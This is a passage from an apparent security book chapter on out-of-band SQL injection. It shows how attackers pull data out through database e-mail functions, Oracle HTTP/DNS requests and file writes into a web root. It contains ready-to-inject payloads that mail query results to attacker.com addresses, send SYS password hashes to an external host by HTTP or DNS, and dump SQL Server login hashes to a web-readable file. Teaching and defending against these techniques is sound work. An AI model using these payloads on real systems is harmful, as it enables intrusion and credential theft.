The HTTP(S) connection that is
used to send the request is also used to receive the response. However,
this does not always have to be the case: The results can be transferred
across a completely different channel, and we refer to such a
communication as “out of band,” or simply OOB. What we leverage here is
that modern DBMSs are very powerful applications, and their features go
beyond simply returning data to a user performing a query. For instance,
if they need some information that resides on another database, they
can open a connection to retrieve that data. They can also be instructed
to send an e-mail when a specific event occurs, and they can interact
with the file system. All of this functionality can be very helpful for
an attacker, and sometimes they turn out to be the best way to exploit
an SQL injection vulnerability when it is not possible to obtain the
query results directly in the usual HTTP communication. Sometimes such
functionality is not available to all users, but we have seen that
privilege escalation attacks are not just a theoretical possibility.
There are several ways to
transfer data using an OOB communication, depending on the exact
technology used in the back end and on its configuration. A few
techniques will be illustrated here,
when talking specifically about blind SQL injection, but the examples
cannot cover all possibilities. So, if you are not able to extract data
using a normal HTTP connection and the database user that is performing
the queries is powerful enough, use your creativity: An OOB
communication can be the fastest way to successfully exploit the
vulnerable application.
E-mail
Databases are very
often critical parts of any infrastructure, and as such it is of the
utmost importance that their administrators can quickly react to any
problem that might arise. This is why most modern DBMSs offer some kind
of e-mail functionality that can be used to automatically send and
receive e-mail messages in response to certain situations. For instance,
if a new application user is added to a company's profile the company
administrator might be notified by e-mail automatically as a security
precaution. The configuration of how to send the e-mail in this case is
already completed; all an attacker needs to do is construct an exploit
that will extract interesting information, package the data in an
e-mail, and queue the e-mail using database-specific functions. The
e-mail will then appear in the attacker's mailbox.
Microsoft SQL Server
As is often the case,
Microsoft SQL Server provides a nice built-in feature for sending
e-mails. Actually, depending on the SQL server version, there might be
not one, but two different e-mailing subsystems: SQL Mail (SQL Server 2000, 2005, and 2008) and Database Mail (SQL Server 2005 and 2008).
SQL Mail was the
original e-mailing system for SQL Server. Microsoft announced with the
release of SQL Server 2008 that this feature has been deprecated, and
will be removed in future versions. It uses the Messaging Application
Programming Interface (MAPI), and therefore it needs a MAPI messaging
subsystem to be present on the SQL Server machine (e.g., Microsoft
Outlook, but not Outlook Express) to send e-mails. Moreover, the e-mail
client needs to be already configured with the Post Office Protocol
3/Simple Mail Transfer Protocol (POP3/SMTP) or Exchange server to
connect to, and with an account to use when connected. If the server you
are attacking has SQL Mail running and configured, you only need to
give a try to xp_startmail (to start the SQL Client and log on to the mail server) and xp_sendmail (the extended procedure to send an e-mail message with SQL Mail). xp_startmail optionally takes two parameters (@user and @password)
to specify the MAPI profile to use, but in a real exploitation scenario
it's quite unlikely that you have this information, and in any case you
might not need it at all: If such parameters are not provided, xp_startmail
tries to use the default account of Microsoft Outlook, which is what is
typically used when SQL Mail is configured to send e-mail messages in
an automated way. Regarding xp_sendmail, its syntax is as follows (only the most relevant options are shown):
xp_sendmail { [ @recipients= ] 'recipients [ ;…n ]' }
[,[ @message= ] 'message' ]
[,[ @query= ] 'query' ]
[,[ @subject= ] 'subject' ]
[,[ @attachments= ] 'attachments' ]
As you can see, it's quite easy to use. So, a possible query to inject could be the following:
EXEC master..xp_startmail;
EXEC master..xp_sendmail @recipients = 'admin@attacker.com', @query =
'select @@version'
You will receive the
e-mail body in a Base64 format, which you can easily decode with a tool
such as Burp Suite. And the use of Base64 means you can transfer binary
data as well.
With xp_sendmail it is even possible to retrieve arbitrary files, by simply specifying them in the @attachment variable. Keep in mind, however, that xp_sendmail is enabled by default only for members of the administrative groups.
If xp_sendmail
does not work and your target is SQL Server 2005 or 2008, you might
still be lucky: Starting with SQL Server 2005 Microsoft introduced a new
e-mail subsystem that is called Database Mail. One of its main
advantages over SQL Mail is that because it uses standard SMTP, it does
not need a MAPI client such as Outlook to work. To successfully send
e-mails, at least one Database Mail profile must exist, which is simply a
collection of Database Mail accounts. Moreover, the user must be a
member of the group DatabaseMailUserRole, and have access to at least one Database Mail profile.
To start Database Mail, it is enough to use sp_configure, while to actually send an e-mail you need to use sp_send_dbmail, which is the Database Mail equivalent of xp_sendmail for SQL Mail. Its syntax, together with the most important parameters, is as follows:
sp_send_dbmail [ [ @profile_name = ] 'profile_name' ]
[, [ @recipients = ] 'recipients [ ; …n ]' ]
[, [ @subject = ] 'subject' ]
[, [ @body = ] 'body' ]
[, [ @file_attachments = ] 'attachment [ ; …n ]' ]
[, [ @query = ] 'query' ]
[, [ @execute_query_database = ] 'execute_query_database' ]
The profile_name indicates the profile to use to send the e-mail; if it's left blank the default public profile for the msdb database will be used. If a profile does not exist, you can create one using the following procedure:
Create a Database Mail account using msdb..sysmail_add_account_sp.
You will need to know a valid SMTP server that the remote database can
contact and through which the e-mail can be sent. This SMTP server can
be some server on the Internet, or one that is under the control of the
attacker. However, if the database server can contact an arbitrary IP
address on port 25, there are much faster ways to extract the data
(e.g., using OPENROWSET
on port 25, as I will show you in a following section) than using
e-mail. Therefore, if you need to use this technique it's very likely
that the database server cannot access external hosts, and so you will
need to know the IP address of a valid SMTP server that resides on the
target network. This may not be as hard as it sounds: If the Web
application has some functionality that sends e-mail messages (e.g.,
with the results of some action of the user, or an e-mail to reset a
user's password), it's very likely that an SMTP server will appear in
the e-mail headers. Alternatively, sending an e-mail to a non-existent
recipient might trigger a response that contains the same information.
However, this might not be enough if the SMTP server is authenticated:
If this is the case, you will need a valid username and password to
successfully create the Database Mail account.
Create a Database Mail profile, using msdb..sysmail_add_profile_sp.
Add the account that you created in step 1 to the profile that you created in step 2, using msdb..sysmail_add_profileaccount_sp.
Grant access to the profile that you created to the users in the msdb database, using msdb..sysmail_add_principalprofile_sp.
The process, complete with examples, is described in detail at http://msdn.microsoft.com/en-us/library/ms187605(SQL.90).aspx.
If everything works and you have a valid Database Mail account, you can
finally run queries and have their results sent in an e-mail. Here is
an example of the whole process:
--Enable Database Mail
EXEC sp_configure 'show advanced', 1;
RECONFIGURE;
EXEC sp_configure 'Database Mail XPs', 1;
RECONFIGURE
--Create a new account, MYACC. The SMTP server is provided in this call.
EXEC msdb.dbo.sysmail_add_account_sp
@account_name='MYACC',@email_address='hacked@victim.com',
@display_name='mls',@mailserver_name='smtp.victim.com',
@account_id=NULL;
--Create a new profile, MYPROFILE
EXEC msdb.dbo.sysmail_add_profile_sp
@profile_name='MYPROFILE',@description=NULL, @profile_id=NULL;
--Bind the account to the profile
EXEC msdb.dbo.sysmail_add_profileaccount_sp @profile_name='MYPROFILE',
@account_name='acc',@sequence_number=1
--Retrieve login
DECLARE @b VARCHAR(8000);
SELECT @b=SYSTEM_USER;
--Send the mail
EXEC msdb.dbo.sp_send_dbmail @profile_name='MYPROFILE',
@recipients='allyrbase@attacker.com', @subject='system user',@body=@b;
Oracle
When
it comes to using the DBMS to send e-mail messages, Oracle also
provides two different e-mailing systems depending on the DBMS version.
Since Version 8i, you could send e-mails through the UTL_SMTP package,
which provided the DBA with all the instruments to start and manage an
SMTP connection. Starting with Version 10g, Oracle introduced the
UTL_MAIL package, which is an extra layer over UTL_SMTP and allows
administrators to use e-mailing in a faster and simpler way.
UTL_SMTP, as the name
suggests, provides a series of functions to start and manage an SMTP
connection: You contact a server using UTL_SMTP.OPEN_CONNECTION, then send the “HELO” message to that server using UTL_SMTP.HELO, and then specify the sender and receiver using UTL_SMTP.MAIL and UTL_SMTP.RCP, respectively. Then you can specify the message with UTL_SMTP.DATA and finally terminate the session using UTL_SMTP.QUIT.
With UTL_MAIL, the whole process is a lot simpler, as you can perform it in its entirety with the following stored procedure:
UTL_MAIL.SEND(sender, recipient, cc, bcc, subject, message, mime_type,
priority)
Keep in mind that for
obvious security reasons UTL_MAIL is not enabled by default; an
administrator must enable it manually. UTL_SMTP is, however, enabled by
default and granted to the public role.
HTTP/DNS
Oracle also offers two possibilities for performing HTTP requests: UTL_HTTP and HTTPURI_TYPE. The UTL_HTTP package and the HTTPURI_TYPE
object type are granted to the public role by default and can be
executed by any user in the database as well as via SQL injection.
To send, for example, the password hash of the SYS user to a remote system, you can inject the following string:
Or 1=utl_http.request ('http://www.orasploit.com/'||
(select password from dba_users where rownum=1)) --
or via the HTTPURI_TYPE object type as follows:
or 1=HTTPURI_TYPE( 'http://www.orasploit.com/'||
(select password from dba_users where rownum=1) ).getclob() --
Additionally, if the SQL
query is written inside the URL, the data (maximum 64 bytes) can also be
sent via the domain name system (DNS) lookup that is made to an
external site as follows.
or 1= utl_http.request ('http://www.'||(select password from dba_users where
rownum=1)||'.orasploit.com/' )--
File System
Sometimes the Web
server and the database server happen to reside on the same box. This is
a common case when the Web application has a limited number of users
and/or it uses a limited amount of data. In such cases, it might not be
very cost-effective to split the architecture into multiple tiers.
Although such a choice is obviously very attractive for an organization
that tries to minimize expenses, it has a number of security drawbacks,
most notably the fact that a single flaw can be enough for an attacker
to obtain full control over all the components.
In case an SQL
injection flaw is discovered, such a setup allows an easy and convenient
way to extract information from the database server: If the attacker
has enough privileges to write on the file system, he can redirect the
results of a query to a file inside the Web server root, and then
normally access the file with the browser.
If the database server and
the Web server are on separate machines, it might still be possible to
adopt this technique if the Web server is configured to export the
folders that contain the Web site, and the database server is authorized
to write on them.
SQL Server
With
Microsoft SQL Server there are various ways to redirect information to
the file system, if your user has the privileges to do so, and the best
one depends on the type and amount of data you are dealing with.
Sometimes you might need to export a simple line of text, such as the
value of a built-in variable like @@version. This is also the case if you extract data from the database into a single text value, such as the variable @hash in the following code on SQL Server 2005, which retrieves the username and hash of the first user in the sql_logins table:
declare @hash nvarchar(1000)
select top 1 @hash = name + ' | ' +
master.dbo.fn_varbintohexstr(password_hash) from sys.sql_logins
In such a case, it is fairly easy to redirect this value to a text file on the filesystem, by injecting the following code:
-- Declare needed variables
DECLARE @a int, @hash nvarchar(100), @fileid int;
-- Take the username and password hash of the first user in sql_logins
-- and store it into the variable @hash
SELECT top 1 @hash = name + ' | ' +
master.dbo.fn_varbintohexstr(password_hash) FROM sys.sql_logins;
-- Create a FileSystemObject pointing to the location of the desired file
EXEC sp_OACreate 'Scripting.FileSystemObject', @a OUT;
EXEC sp_OAMethod @a, 'OpenTextFile', @fileid OUT,
'c:\inetpub\wwwroot\hash.txt', 8, 1;
–- Write the @hash variable into that file
EXEC sp_OAMethod @fileid, 'WriteLine', Null, @hash;
-- Destroy the objects that are not needed anymore
EXEC sp_OADestroy @fileid;
EXEC sp_OADestroy @a;
Now, all you need to do is to point your browser to the file location and retrieve the information, as shown in Figure 1